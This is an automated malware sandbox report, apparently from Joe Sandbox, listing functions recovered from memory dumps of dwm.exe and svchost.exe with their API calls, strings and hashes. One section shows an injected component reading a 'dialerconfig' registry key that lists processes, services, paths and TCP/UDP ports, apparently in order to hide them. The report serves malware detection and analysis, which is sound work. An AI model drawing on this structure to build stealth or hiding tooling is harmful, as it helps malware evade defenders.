_set_statfp.LIBCMT ref: 00000283E134419F

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 002253bdd5f129a56d114eceafdfab5bffcb10355a02782e43516f771b9297ae
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 2E11A32EB12A5011FE6C9568D95D36D15436F78BBAF08C634E976077E6CE28CB41A300

Function 00000283E1313504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000283E131352C
_set_statfp.LIBCMT ref: 00000283E1313547
_set_statfp.LIBCMT ref: 00000283E1313563
_set_statfp.LIBCMT ref: 00000283E131359F

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 4180018873af125b709494020f03ced2fdcbb5c4bcfea8bb1fff956a80e48e09
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F611C67AB52E1591FEECD52AE44D36DB180AF58F76F48C638A976063D6CF24CB414300

Function 00000283E130F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000283E130F124

Strings

Tuesday, xrefs: 00000283E130F0F4
Wednesday, xrefs: 00000283E130F1ED
or copy constructor iterator', xrefs: 00000283E130F25A, 00000283E130F275

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: de943e4b4d68558e6c6eb9a726e0776df7fea57dae6e95452b8471750b456dff
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 4A619D6E60664083FE6DDB69E54C3AF6AE9AF86F42F50C515CA8A137A5DF34CB418300

Function 00000283E133AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000283E133AA68
_CallSETranslator.LIBVCRUNTIME ref: 00000283E133AAB7

Strings

RCC, xrefs: 00000283E133AA85
MOC, xrefs: 00000283E133AA7C

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: a061666e95e0b4092a9c374e162b074aaa2127d9ed21cf555dbd03eb3323303f
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 0161AE3B602B448AEB18DF65D04439D77A1FB44F89F088215EF5A53B99DF38E285C704

Function 00000283E133AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000283E133ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000283E133AE88

Strings

csm, xrefs: 00000283E133AEDA
csm, xrefs: 00000283E133ADC2

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 18bcec670662a55350d4beb13036901d3ef3680d240a8657f782b5ee8f051ce2
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: CC518F7A101280CAEF68CF15949835D77A0FB54F96F1CC215DAA987BD5CF38E6A4CB08

Function 00000283E130A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000283E130A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000283E130A288

Strings

csm, xrefs: 00000283E130A2DA
csm, xrefs: 00000283E130A1C2

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 16779dd6b70e45c25b7e873b6cf1c5beb9216be66c37b80134ab25d2758ca698
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 7751693A102380CAEF68CB25A54836C77E0FB55F96F18C216DAD987AD5CF78D691C700

Function 00000283E1308405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000283E1308413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000283E13084A8

Strings

csm, xrefs: 00000283E130848E
f, xrefs: 00000283E1308426

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: f7aefac69aaf3ca95f0202c96274bb53ffebe406c6613a4761bf4d1946143f8d
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 52519E3AB02600CAEF58CB19E448B1D37D5FB54F99F51C164DA8657B88EFB6CA818704

Function 00000283E13083E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000283E1308413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000283E13084A8

Strings

csm, xrefs: 00000283E130848E
f, xrefs: 00000283E1308426

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 6917515318b753ac768994bec756e58bfdd868231fb9a058a6ee02f139532fa4
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 57319C3AA02640C6EB58DF15E84871D77A4FB41F9AF05C158EE9A07B88DF79CA81CB04

Function 00000283E1342058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000283E13420D7
WriteFile.KERNEL32 ref: 00000283E134239F
WriteFile.KERNEL32 ref: 00000283E13423E5
GetLastError.KERNEL32 ref: 00000283E134249B

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: bf4d88392e6ad2d41ec1aa8d7be6c3b069d95e75b54dda2e7a040b4a71773c91
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 4CD12636706A808AEB25CF75E4443DC3BB1FB44B99F148216CE5DA7B99DE34C606D340

Function 00000283E13314A4 Relevance: 6.3, APIs: 5, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000283E13314C5
HeapFree.KERNEL32 ref: 00000283E13314D4
GetProcessHeap.KERNEL32 ref: 00000283E13314E1
HeapFree.KERNEL32 ref: 00000283E13314F0
GetProcessHeap.KERNEL32 ref: 00000283E1331500

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction ID: 14ae48db9ba9587a75e456763377fad8f4f304cb7c8f2cdb0d0932786c1da71b
Opcode Fuzzy Hash: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction Fuzzy Hash: 7401527A502B90D6DB18DF66E90814D77B0FB48F82F148425DF6953726DE38D151C740

Function 00000283E1342980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000283E1342A9C
GetLastError.KERNEL32 ref: 00000283E1342B27

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: e796498f7871d3ffb580033429435182140b7ab9ef04af8907f7e4a027847eb0
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: CF91E37A712A5085FF79DF65A4483AD7BA0BF44F8AF148109DE0A77694DF34C682E700

Function 00000283E1337960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000283E133798C
GetCurrentThreadId.KERNEL32 ref: 00000283E133799A
GetCurrentProcessId.KERNEL32 ref: 00000283E13379A6
QueryPerformanceCounter.KERNEL32 ref: 00000283E13379B6

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 218b2848035dc0aa54d295e31a897125ff1d142523a4c495b992b27427153000
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 68112A2A711F418AEF44CF60E8583AC33B4FB19B59F440E25DA6D477A9DF78C2988380

Function 00000283E133253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000283E1332620
StrCpyW.SHLWAPI ref: 00000283E1332639

Strings

\\.\pipe\, xrefs: 00000283E133262B

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 3d872a83afa17da98c3cbcc6861fba28a50197c3fc79d0d48fbf70ffd173b62c
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 9F71F33A20178185EF3ADE25A8483AEA794FB85F86F488016DD2A43B9ADF35D745C704

Function 00000283E1309E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000283E1309EB7

Strings

MOC, xrefs: 00000283E1309E7C
RCC, xrefs: 00000283E1309E85

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 8da25f39dc3d961ffb3c2fe80300e32b93fa0542570bb849ad799c2997e7d54b
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 7A616A7AA02B448AEB28CF65D44439D77A1FB48B89F048215EF8E17B98DF38D695C700

Function 00000283E1332330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000283E1332416
StrCpyW.SHLWAPI ref: 00000283E133242D

Strings

\\.\pipe\, xrefs: 00000283E1332421

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 8aaa5ffd9e1a9e7d065ccd62a8bd2c1a0788e00a18be1c56172bf4e02ae22a99
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 9151083A20638181FE3CDE29A05C3AEA761FB85F42F4C8125DD6A13B99CE39E744C744

Function 00000283E13426F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000283E1342807
GetLastError.KERNEL32 ref: 00000283E1342829

Strings

U, xrefs: 00000283E13427B3

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 01e5626584eb3548af3f05f2de1ad2a56d3d99dd8934271b5c28091acda535bf
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 6841B136216A8082EF24CF25F8483AD67A0FB88B95F508021EE4D87798DF3CC641D740

Function 00000283E13394A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000283E13394F0
RaiseException.KERNEL32 ref: 00000283E1339531

Strings

csm, xrefs: 00000283E133951E

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 3d7c10fa824e908e1c2c5b1299e387d4f4806c409346427c24d82419eb551c1a
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 18114936205B8082EB65CF15E40425D77E1FB88F95F198220EA9D07769DF3CC651CB04

Function 00000283E1307356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000283E130737C

Strings

riptor at (, xrefs: 00000283E1307364
ierarchy Descriptor', xrefs: 00000283E1307381

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: b4fc2191e0cb1e50236ca0f78e415e1f827f8386833d6f60af0bbef6ad43e7d9
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: CCE086A1B51B4490DF05CF21E84429C33A1DF5DF64B48D222995C0A315FF38D2F9C301

Function 00000283E13073B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000283E13073D8

Strings

Locator', xrefs: 00000283E13073DD
riptor at (, xrefs: 00000283E13073C0

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 19971ec7de1afede75789753a10eda42852805db21fa81fe584a2653190e448c
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: DFE086A1B01B4880DF05CF21D44029C73A1EF5DF54B88D222D94C06315EF38D2E5C301

Function 00000283E1331BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000283E1331C2D
HeapAlloc.KERNEL32 ref: 00000283E1331C3B
GetProcessHeap.KERNEL32 ref: 00000283E1331C77
HeapFree.KERNEL32 ref: 00000283E1331C85

Part of subcall function 00000283E133152C: StrCmpIW.SHLWAPI ref: 00000283E133155D

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: d56593f3dae8a1b0f1faf7bc862fb5bd1edb27ef82749e1207104caabe012cac
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 96118C69602B44C6EE18DF66A80822D73A1FF89FC2F1C8028DE5D43766DF78D542D300

Function 00000283E1331268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000283E133126E
HeapAlloc.KERNEL32 ref: 00000283E133127D
GetProcessHeap.KERNEL32 ref: 00000283E1331297
HeapAlloc.KERNEL32 ref: 00000283E13312A8

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 4b0f9b13a9854f28c2da5f7cdf0656cc406735281c995169da6800476712a131
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: E9E032B9A02A0487EB08CF62D80834A36E1EB89F06F18C024C91907361DF7DC699DB90

Analysis Process: svchost.exePID: 436, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	66
Total number of Limit Nodes:	2

Executed Functions

Function 000001FB539C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001FB539C1633
HeapAlloc.KERNEL32 ref: 000001FB539C1642

Part of subcall function 000001FB539C1268: GetProcessHeap.KERNEL32 ref: 000001FB539C126E
Part of subcall function 000001FB539C1268: HeapAlloc.KERNEL32 ref: 000001FB539C127D
Part of subcall function 000001FB539C1268: GetProcessHeap.KERNEL32 ref: 000001FB539C1297
Part of subcall function 000001FB539C1268: HeapAlloc.KERNEL32 ref: 000001FB539C12A8

RegOpenKeyExW.ADVAPI32 ref: 000001FB539C16B2
RegOpenKeyExW.ADVAPI32 ref: 000001FB539C16DF
RegCloseKey.ADVAPI32 ref: 000001FB539C16F9
RegOpenKeyExW.ADVAPI32 ref: 000001FB539C1719
RegCloseKey.ADVAPI32 ref: 000001FB539C1734
RegOpenKeyExW.ADVAPI32 ref: 000001FB539C1754
RegCloseKey.ADVAPI32 ref: 000001FB539C176F
RegOpenKeyExW.ADVAPI32 ref: 000001FB539C178F
RegCloseKey.ADVAPI32 ref: 000001FB539C17AA
RegOpenKeyExW.ADVAPI32 ref: 000001FB539C17CA
RegCloseKey.ADVAPI32 ref: 000001FB539C17E5
RegOpenKeyExW.ADVAPI32 ref: 000001FB539C1805
RegCloseKey.ADVAPI32 ref: 000001FB539C1820
RegOpenKeyExW.ADVAPI32 ref: 000001FB539C1840
RegCloseKey.ADVAPI32 ref: 000001FB539C185B
RegOpenKeyExW.ADVAPI32 ref: 000001FB539C187B
RegCloseKey.ADVAPI32 ref: 000001FB539C1896
RegCloseKey.ADVAPI32 ref: 000001FB539C18A0

Part of subcall function 000001FB539C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001FB539C1319
Part of subcall function 000001FB539C12BC: GetProcessHeap.KERNEL32 ref: 000001FB539C1327
Part of subcall function 000001FB539C12BC: HeapAlloc.KERNEL32 ref: 000001FB539C1338
Part of subcall function 000001FB539C12BC: RegEnumValueW.ADVAPI32 ref: 000001FB539C1397
Part of subcall function 000001FB539C12BC: GetProcessHeap.KERNEL32 ref: 000001FB539C13DF
Part of subcall function 000001FB539C12BC: HeapAlloc.KERNEL32 ref: 000001FB539C13ED
Part of subcall function 000001FB539C12BC: GetProcessHeap.KERNEL32 ref: 000001FB539C140A
Part of subcall function 000001FB539C12BC: HeapFree.KERNEL32 ref: 000001FB539C1418
Part of subcall function 000001FB539C12BC: lstrlenW.KERNEL32 ref: 000001FB539C1421
Part of subcall function 000001FB539C12BC: GetProcessHeap.KERNEL32 ref: 000001FB539C142F
Part of subcall function 000001FB539C12BC: HeapAlloc.KERNEL32 ref: 000001FB539C143D

Strings

startup, xrefs: 000001FB539C16D5
tcp_remote, xrefs: 000001FB539C1839
tcp_local, xrefs: 000001FB539C17FE
process_names, xrefs: 000001FB539C174D
SOFTWARE\dialerconfig, xrefs: 000001FB539C1692
udp, xrefs: 000001FB539C1874
paths, xrefs: 000001FB539C1788
pid, xrefs: 000001FB539C1712
service_names, xrefs: 000001FB539C17C3

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 3bf4cfb0a07fb8a34a3f598bc96345aa7c46004167599278be6342a6ae7bd595
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 4E7138B631AA5686FB109F66E8C16E923A6FB84B88F485521DE4F47B78DF3CC444C344

Function 000001FB539C328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001FB539C32AE
PathFindFileNameW.SHLWAPI ref: 000001FB539C32BD

Part of subcall function 000001FB539C3844: StrCmpNIW.SHLWAPI ref: 000001FB539C385C

Part of subcall function 000001FB539C3790: GetModuleHandleW.KERNEL32 ref: 000001FB539C379E
Part of subcall function 000001FB539C3790: GetCurrentProcess.KERNEL32 ref: 000001FB539C37CC
Part of subcall function 000001FB539C3790: VirtualProtectEx.KERNEL32 ref: 000001FB539C37EE
Part of subcall function 000001FB539C3790: GetCurrentProcess.KERNEL32 ref: 000001FB539C3809
Part of subcall function 000001FB539C3790: VirtualProtectEx.KERNEL32 ref: 000001FB539C382A

CreateThread.KERNEL32 ref: 000001FB539C330B

Part of subcall function 000001FB539C1D14: GetCurrentThread.KERNEL32 ref: 000001FB539C1D1F

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 18ea53aa43a98f725242ccc54522eb2a995cd4f0bc6055a6e4289cc5d1fcdbce
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: E111A1F161E24B82F760ABA1F8C53F96397A788344F9C41349A4B817B6EF7DC044C600

Function 000001FB539C1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001FB539C1628: GetProcessHeap.KERNEL32 ref: 000001FB539C1633
Part of subcall function 000001FB539C1628: HeapAlloc.KERNEL32 ref: 000001FB539C1642
Part of subcall function 000001FB539C1628: RegOpenKeyExW.ADVAPI32 ref: 000001FB539C16B2
Part of subcall function 000001FB539C1628: RegOpenKeyExW.ADVAPI32 ref: 000001FB539C16DF
Part of subcall function 000001FB539C1628: RegCloseKey.ADVAPI32 ref: 000001FB539C16F9
Part of subcall function 000001FB539C1628: RegOpenKeyExW.ADVAPI32 ref: 000001FB539C1719
Part of subcall function 000001FB539C1628: RegCloseKey.ADVAPI32 ref: 000001FB539C1734
Part of subcall function 000001FB539C1628: RegOpenKeyExW.ADVAPI32 ref: 000001FB539C1754
